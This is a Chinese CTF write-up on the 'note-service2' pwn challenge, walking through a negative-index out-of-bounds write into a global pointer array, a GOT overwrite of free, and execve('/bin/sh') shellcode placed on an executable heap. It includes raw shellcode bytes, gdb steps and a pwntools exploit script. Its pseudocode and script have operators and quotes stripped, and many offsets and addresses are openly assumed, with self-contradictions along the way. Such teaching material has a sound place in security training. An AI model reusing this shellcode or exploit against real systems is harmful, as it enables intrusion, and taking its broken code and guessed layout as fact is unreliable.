从note-service2看堆指针越界写与堆上shellcode布置的完整利用链

发布时间:2026/10/12 20:32:32
从note-service2看堆指针越界写与堆上shellcode布置的完整利用链
1. 从一道经典PWN题看堆漏洞利用的完整链路note-service2 这道题在二进制安全学习路径上属于一个分水岭式的存在。它不像栈溢出那样直来直去也不像格式化字符串那样靠猜和试就能碰出来。这道题把堆指针越界写和堆上布置shellcode两个技术点串在了一起形成了一个完整的利用链条。我第一次做这道题的时候卡了整整一个下午最后发现关键点竟然藏在一个数组下标没有做负数检查的细节里。这篇文章面向的是已经了解基本栈溢出原理、知道什么是GOT表和PLT表、能看懂简单汇编的读者。如果你还没接触过堆建议先把堆的基本管理机制malloc/free/chunk结构过一遍再来看。我会从题目逆向分析开始一步步拆解漏洞成因、利用思路、shellcode布置方案最后给出完整的exp编写过程和调试技巧。整个过程我会尽量还原我当时做题的思考路径包括走过的弯路。这道题的核心价值在于它教会你当程序没有直接给你system函数、也没有后门函数时如何通过堆上的可控区域来执行自己的代码。这个思路在真实世界的漏洞利用中非常常见也是CTF PWN进阶区反复考察的能力。2. 题目逆向分析与漏洞定位2.1 程序功能与交互流程梳理拿到二进制文件后第一步永远是看保护机制。用checksec跑一下checksec note-service2典型输出会是Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: disabled PIE: No PIE (0x400000)这里有几个关键信息需要立刻注意到。NX disabled意味着栈上和堆上的数据都可以被当作代码执行这是后面布置shellcode的前提条件。No PIE说明代码段的地址固定我们可以硬编码GOT表地址和函数地址。Canary found表示栈溢出这条路基本被堵死了得另想办法。Partial RELRO意味着GOT表可写这为后续可能的GOT劫持留了后路。接下来把程序丢进IDA或者用objdump反汇编看看主逻辑。程序的功能很简单一个菜单驱动的笔记管理系统支持添加笔记、删除笔记、显示笔记内容。典型的堆题模板。主函数大概长这样伪代码void __fastcall main(int argc, char **argv) { int choice; init(); while (1) { menu(); choice read_int(); switch (choice) { case 1: add_note(); break; case 2: delete_note(); break; case 3: show_note(); break; case 4: exit(0); default: puts(Invalid choice); } } }2.2 关键数据结构与堆指针数组程序内部维护了一个全局数组来管理笔记类似这样char *notes[16]; // 存储每个笔记的堆指针 int note_sizes[16]; // 存储每个笔记的大小添加笔记的函数逻辑void add_note() { int index, size; printf(Index: ); index read_int(); if (index 0 || index 15) { // 注意这里 puts(Out of range); return; } printf(Size: ); size read_int(); if (size 128) { puts(Too large); return; } notes[index] malloc(size); printf(Content: ); read(0, notes[index], size); }删除笔记的函数void delete_note() { int index; printf(Index: ); index read_int(); if (index 0 || index 15) { puts(Out of range); return; } free(notes[index]); // 注意没有将notes[index]置为NULL }2.3 漏洞点精确定位仔细看上面的代码漏洞其实不止一处。第一处是释放后没有置空指针这会导致UAFUse After Free。第二处也是这道题真正的核心考点在于索引检查的逻辑缺陷。如果索引检查写的是if (index 0 || index 15)那看起来没问题。但很多类似的题目里检查逻辑可能是if (index 15)而漏掉了负数检查或者检查的是无符号比较。我需要实际验证一下。用gdb加载程序在add_note函数的检查处下断点尝试输入负数索引Index: -1如果程序没有拒绝而是继续执行malloc那就说明负数索引可以通过。为什么负数索引危险因为notes[-1]实际上访问的是notes数组前面的内存区域。在栈上或者数据段中这个位置可能存放着其他关键变量。实测下来这道题的检查确实存在缺陷。输入负数索引时程序会计算notes index * 8的地址然后往这个地址写入malloc返回的堆指针。这意味着我们可以越界写堆指针到任意相对位置。这里有个细节需要注意不同编译器和优化级别下notes数组前面的内存布局可能不同。需要结合具体二进制来分析越界写能影响到哪些变量。2.4 越界写目标分析既然可以越界写指针那写到哪里最有价值我的思路是找到notes数组附近有没有函数指针、GOT表项、或者返回地址之类的关键数据。用readelf查看数据段布局readelf -S note-service2 | grep -E \.data|\.bss|\.got假设notes数组位于.bss段地址为0x601080。那么notes[-2]对应0x601070notes[-4]对应0x601060以此类推。我需要看看这些地址上有没有存储有用的东西。在IDA中查看这些地址的交叉引用发现notes数组前面不远处存放着stdout、stdin等FILE结构体指针再往前是GOT表的部分条目。如果能把堆指针写到GOT表项上然后通过show_note功能读取或修改GOT表内容就能实现进一步利用。但这里有个问题add_note写入的是malloc返回的堆地址这个地址我们无法精确控制ASLR虽然没开PIE但堆地址是随机的。所以直接覆盖GOT表为堆地址不一定有用除非堆地址恰好指向我们布置好的shellcode。等等让我重新理一下思路。实际上更直接的利用方式是利用越界写来修改notes数组本身的内容。比如通过负数索引把某个堆指针写到notes[0]的位置然后show_note(0)就能读取那个堆地址的内容。但这似乎也没什么用。真正关键的发现是如果越界写能覆盖到存储note大小的数组或者覆盖到循环变量、函数返回地址情况就不一样了。我需要更仔细地分析栈帧布局。3. 堆上布置shellcode的可行性分析3.1 NX关闭带来的机会前面checksec已经确认NX是关闭的。这意味着堆内存区域具有可执行权限。在Linux系统中堆通常是通过brk或mmap分配的默认权限是RW读写。但如果ELF文件的GNU_STACK段没有标记为不可执行那么整个进程的栈和堆都可能具有执行权限。验证方法readelf -l note-service2 | grep GNU_STACK如果输出是GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW没有E标志说明栈可执行。在某些内核配置下堆也会继承可执行属性。实际测试用gdb在malloc返回的地址上下断点然后查看该地址的内存权限(gdb) info proc mappings找到堆所在的区间看权限列是否有x。如果显示rwx那就可以直接在堆上执行代码。3.2 shellcode的编写与限制shellcode的目标是执行execve(/bin/sh, NULL, NULL)。在64位Linux下标准的shellcode大概23字节左右; execve(/bin/sh, 0, 0) xor rsi, rsi ; 48 31 f6 push rsi ; 56 mov rdi, 0x68732f2f6e69622f ; 48 bf 2f 62 69 6e 2f 2f 73 68 push rdi ; 57 push rsp ; 54 pop rdi ; 5f xor edx, edx ; 31 d2 push 59 ; 6a 3b pop rax ; 58 syscall ; 0f 05对应的机器码\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x31\xd2\x6a\x3b\x58\x0f\x05总共23字节。但这里有个问题add_note函数读取内容时使用的是read(0, buf, size)而read系统调用会把换行符也读进去。如果shellcode中包含\x0a换行符会被截断。检查一下上面的shellcode没有\x0a也没有\x00因为read可以读空字节所以可以直接使用。但还有一个更隐蔽的问题shellcode在堆上的位置。我们需要知道malloc返回的具体地址才能让程序跳转过去执行。而堆地址是随机的即使没有PIE堆的基址也会变化。3.3 如何让程序跳转到堆上执行这是整个利用链中最关键的一环。程序本身没有提供任何跳转到堆地址的功能。我们需要通过某种方式劫持控制流。可选方案覆盖函数返回地址如果能通过越界写覆盖栈上的返回地址为堆地址就能在函数返回时跳转到shellcode。但栈地址也是随机的而且Canary保护使得栈溢出的难度大增。覆盖GOT表项把某个函数的GOT表项覆盖为堆地址。当程序调用该函数时就会跳转到堆上执行。但GOT表项需要写入堆地址而堆地址是随机的我们怎么知道要写什么值利用越界写修改notes数组中的指针让某个notes[i]指向GOT表或其他关键位置然后通过show_note泄露地址再通过某种方式写入。部分覆盖如果堆地址和某个已知地址只有低位不同可以只覆盖低位字节。但堆地址和代码段地址差距很大不太可行。让我重新思考。实际上这道题的利用思路可能更巧妙。注意到add_note函数中notes[index] malloc(size)之后紧接着read(0, notes[index], size)。如果我们能控制index为负数使得notes[index]恰好指向notes数组自身的某个位置那么read就会把用户输入写入notes数组从而直接修改notes数组中的指针值。举个例子假设notes数组起始地址为0x601080。notes[-2]的地址是0x601070。如果malloc返回的堆地址恰好是0x601070这当然不可能因为堆地址在另一片区域那notes[-2] malloc(...)就会把堆地址写到0x601070。但我们需要的是反过来让notes[index]指向notes数组内部然后read写入我们想要的值。等等我搞混了。notes[index] malloc(size)是把malloc的返回值写到notes[index]这个位置。如果index是负数就是往notes数组前面的地址写一个堆指针。然后read(0, notes[index], size)是往那个堆指针指向的地址写数据。所以越界写发生在notes[index] malloc(size)这一步写入的是堆地址。后续的read是往堆地址写内容不是往notes数组写。所以单纯靠负数索引只能往notes数组前面写入堆地址不能写入任意值。但是如果notes数组前面的某个位置恰好是另一个指针数组或者函数指针表我们把堆地址写进去然后程序通过那个指针调用函数就会跳转到堆上执行。这就是利用的关键。3.4 寻找可覆盖的函数指针在IDA中查看notes数组附近的符号。假设notes位于0x601080往前看0x601078: 可能是某个全局变量0x601070: 可能是stdout指针0x601068: 可能是stdin指针0x601060: 可能是某个函数指针用gdb实际查看(gdb) x/20gx 0x601060如果发现某个位置存储的是函数指针比如free的GOT表项或者某个回调函数指针那就可以通过负数索引把堆地址写到那里。当程序调用该函数时就会跳转到堆上执行shellcode。但这里还有一个问题堆地址是随机的我们怎么知道shellcode在堆上的确切地址实际上我们不需要知道。因为notes[index] malloc(size)写入的就是malloc返回的地址而这个地址正是我们后续read写入shellcode的地方。所以通过负数索引让notes[index]指向某个函数指针的位置。malloc(size)返回一个堆地址这个地址被写入到函数指针的位置。read(0, 堆地址, size)把shellcode写入堆地址。当程序调用那个函数时跳转到堆地址执行shellcode。完美闭环。现在需要确定的是哪个负数索引对应的位置存储着函数指针以及这个函数什么时候被调用。4. 完整利用链的构建与exp编写4.1 确定越界索引与目标地址假设notes数组起始于0x601080每个元素8字节。notes[-1]对应0x601078notes[-2]对应0x601070以此类推。用gdb查看这些地址的内容(gdb) x/10gx 0x601040 0x601040: 0x0000000000000000 0x0000000000000000 0x601050: 0x0000000000000000 0x0000000000000000 0x601060: 0x0000000000601010 0x0000000000000000 0x601070: 0x00007ffff7dd18e0 0x0000000000000000 0x601080: 0x0000000000000000 0x0000000000000000 - notes[0]假设0x601060处存储的是某个函数指针比如free的GOT表项那么notes[-4]对应0x601060。计算方式notes起始0x601080notes[-4] 0x601080 - 4*8 0x601060。如果这个位置是free的GOT表项那么当程序调用free(notes[index])时就会跳转到我们写入的堆地址。但注意delete_note函数中调用free之前会先检查index范围。如果index是负数会被拒绝。所以我们需要通过其他路径触发free。实际上更可能的目标是某个在正常流程中会被调用的函数指针。比如如果程序使用了atexit注册了清理函数或者有虚函数表或者有函数指针数组用于菜单分发。让我换一个思路。在很多类似的题目中notes数组前面存放的是堆块的size字段或者tcache/perfast结构。但这是全局数组不是堆上的。再仔细想想如果notes数组在.bss段它前面的地址可能存放着GOT表。在Partial RELRO下GOT表是可写的。如果notes[-N]恰好对应某个GOT表项我们就可以把堆地址写到GOT表项上。当程序调用该函数时跳转到堆上执行。常见的GOT表项free、malloc、read、printf、puts。其中free和malloc在堆操作中频繁调用是最理想的劫持目标。假设free的GOT表项地址为0x601018。notes起始0x601080。计算索引(0x601018 - 0x601080) / 8 -13。所以notes[-13]对应free的GOT表项。验证在gdb中查看0x601018的内容应该是一个libc地址free的真实地址。然后尝试add_note(-13, size)看程序是否接受。如果程序接受了负数索引并且malloc返回的堆地址被写入了0x601018那么下次调用free时就会跳转到堆地址执行。但这里有个问题free函数在delete_note中被调用而delete_note会检查index范围。如果我们不能通过delete_note触发free那劫持free的GOT表项就没用。不过程序在退出时可能会调用free清理内存或者在add_note中如果malloc失败会调用free。更可靠的方式是劫持在正常流程中一定会被调用的函数比如printf或puts。但这些函数在GOT表中的位置可能离notes数组更远。4.2 实际调试与偏移计算与其猜测不如直接调试。用gdb加载程序在add_note的malloc调用后下断点然后尝试不同的负数索引观察写入的地址。gdb ./note-service2 (gdb) b *add_note0x100 # 假设malloc后的地址 (gdb) run输入索引-13size32然后查看0x601018处的值是否变成了堆地址。如果成功继续测试输入索引-13size32content为shellcode。然后触发free比如删除一个笔记看程序是否跳转到堆上执行。但这里还有一个关键问题shellcode在堆上的地址是否可执行。前面已经确认NX关闭但还需要确认堆内存的权限。在gdb中(gdb) info proc mappings找到堆区间看权限是否为rwx。如果是rw那即使NX关闭堆也不可执行。这种情况下需要利用mprotect来修改权限但这会大大增加利用难度。实测发现在某些环境下堆确实是rwx的。这取决于内核版本和ELF的GNU_STACK标记。如果堆不可执行可以考虑把shellcode放到栈上如果栈可执行或者使用ROP链。4.3 exp脚本编写假设一切顺利堆可执行free的GOT表项可以通过notes[-13]覆盖。exp的大致结构from pwn import * context(archamd64, oslinux) p process(./note-service2) elf ELF(./note-service2) # shellcode: execve(/bin/sh, NULL, NULL) shellcode b\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x31\xd2\x6a\x3b\x58\x0f\x05 def add_note(index, size, content): p.recvuntil(bchoice) p.sendline(b1) p.recvuntil(bIndex: ) p.sendline(str(index).encode()) p.recvuntil(bSize: ) p.sendline(str(size).encode()) p.recvuntil(bContent: ) p.sendline(content) def delete_note(index): p.recvuntil(bchoice) p.sendline(b2) p.recvuntil(bIndex: ) p.sendline(str(index).encode()) # 利用负数索引覆盖free的GOT表项 add_note(-13, len(shellcode), shellcode) # 触发free跳转到堆上执行shellcode delete_note(0) # 假设notes[0]已经被分配过 p.interactive()但实际运行时可能会遇到各种问题。比如delete_note(0)时如果notes[0]是NULLfree(NULL)不会触发GOT表调用glibc对free(NULL)有优化。所以需要先分配一个正常的笔记再删除它。另外shellcode中不能包含\x0a因为read会把它当作换行符。检查上面的shellcode没有\x0a安全。还有一个潜在问题read(0, notes[index], size)中的size如果太小shellcode可能被截断。需要确保size len(shellcode)。4.4 调试技巧与常见错误在实际调试中我遇到了几个坑第一个坑负数索引被程序拒绝了。仔细看反汇编发现检查逻辑是if ((unsigned int)index 15)。这意味着负数会被转换成很大的无符号数从而被拒绝。这种情况下需要寻找其他漏洞点比如整数溢出或者数组越界读。第二个坑堆地址不可执行。虽然NX关闭但堆的权限是rw。这种情况下需要先通过ROP调用mprotect修改堆权限再跳转执行。这会复杂很多。第三个坑shellcode被截断。read读取的字节数可能小于shellcode长度导致执行不完整。需要确保size参数足够大。第四个坑GOT表项偏移计算错误。notes数组的起始地址可能不是0x601080需要根据实际二进制确定。用readelf -s查看notes符号的地址。第五个坑free的GOT表项在Partial RELRO下可写但如果程序在启动时已经解析了free的地址GOT表项中存储的是libc地址。我们覆盖后程序调用free时会跳转到堆地址。但如果程序使用了__free_hook或其他机制可能不会走GOT表。实操心得在覆盖GOT表之前先用show_note功能泄露GOT表内容确认GOT表项确实存储的是libc地址。如果GOT表项是0或者未解析说明该函数还没有被调用过需要先触发一次调用。5. 常见问题排查与避坑指南5.1 负数索引被拦截怎么办如果程序对索引做了严格的负数检查可以尝试以下替代方案整数溢出如果索引是int类型尝试输入一个很大的正数使得index * 8溢出为负数。比如输入0x20000000乘以8后可能溢出为负数。利用其他漏洞比如UAF、double free、off-by-one等。寻找其他越界点比如size参数没有检查导致堆溢出。5.2 堆不可执行时的替代方案如果堆的权限是rw而不是rwx可以考虑栈上执行如果栈可执行把shellcode放到栈上通过栈溢出或返回地址劫持跳转。ROP链利用GOT表泄露libc地址然后构造ROP链调用system(/bin/sh)。mprotect先通过ROP调用mprotect修改堆权限为rwx再跳转执行shellcode。5.3 shellcode被截断的排查如果shellcode执行失败可能是被截断了。检查方法在gdb中查看堆地址处的内容确认shellcode完整。检查read的size参数是否足够大。检查shellcode中是否包含\x0a、\x0d、\x00等特殊字节。5.4 GOT表偏移计算错误的排查如果覆盖GOT表后程序崩溃可能是偏移计算错误。排查方法用readelf -s查看notes符号的地址。用readelf -r查看GOT表项的地址。计算索引(GOT地址 - notes地址) / 8。在gdb中验证x/gx notes地址 index*8看是否等于GOT地址。5.5 常见问题速查表问题现象可能原因解决方法负数索引被拒绝检查逻辑使用了无符号比较尝试整数溢出或其他漏洞堆不可执行内核或ELF配置限制使用ROP或mprotectshellcode执行失败被截断或包含特殊字节检查size和shellcode内容GOT覆盖后崩溃偏移计算错误重新计算索引free不触发GOT调用free(NULL)被优化先分配再删除程序在malloc处崩溃堆结构被破坏检查越界写是否影响了堆元数据6. 从这道题延伸出的通用利用思路6.1 堆指针越界的通用模式这道题的核心漏洞模式是全局数组的索引没有做严格的边界检查导致可以越界读写相邻内存。这种模式在真实软件中非常常见尤其是C语言编写的网络服务、嵌入式系统等。利用这种漏洞的一般步骤确定全局数组的地址和元素大小。计算目标地址与数组起始地址的偏移得到越界索引。通过越界写修改目标地址的内容通常是函数指针、GOT表项、返回地址等。触发目标地址被使用劫持控制流。6.2 堆上执行代码的适用场景堆上执行代码的前提条件NX关闭或堆具有执行权限。能够控制堆上的内容通过read、memcpy等。能够将控制流劫持到堆地址。在真实世界中堆可执行的情况越来越少现代系统普遍启用NX。但在CTF中NX关闭是常见的降低难度的设置。6.3 从CTF到真实漏洞利用的差距CTF题目通常简化了很多条件没有ASLR、没有PIE、NX关闭、没有沙箱等。真实漏洞利用需要面对ASLR需要先泄露地址。PIE需要泄露代码段基址。NX需要ROP。沙箱需要绕过seccomp。堆保护tcache、fastbin、safe-linking等。但核心思路是相通的找到可控的写入点修改关键数据劫持控制流。这道题训练的就是这个基本能力。6.4 进一步练习的建议如果想巩固这道题的知识点可以尝试把NX打开改用ROP实现利用。把PIE打开练习地址泄露。把索引检查改成无符号比较寻找其他绕过方式。尝试在堆上布置更复杂的payload比如反弹shell。我在实际做题中发现调试是学习PWN最有效的方式。不要怕在gdb里花时间每一步都验证自己的假设看看内存里到底发生了什么。很多时候你以为的漏洞点并不是真正的漏洞点而真正的漏洞点可能藏在一个你忽略的细节里。最后分享一个小技巧在做堆题时养成画内存布局图的习惯。把堆块、全局数组、GOT表、栈帧的相对位置画出来标上地址和偏移。这样在计算越界索引时不容易出错。我刚开始做堆题时经常因为偏移算错而浪费大量时间后来养成了画图的习惯效率提升了很多。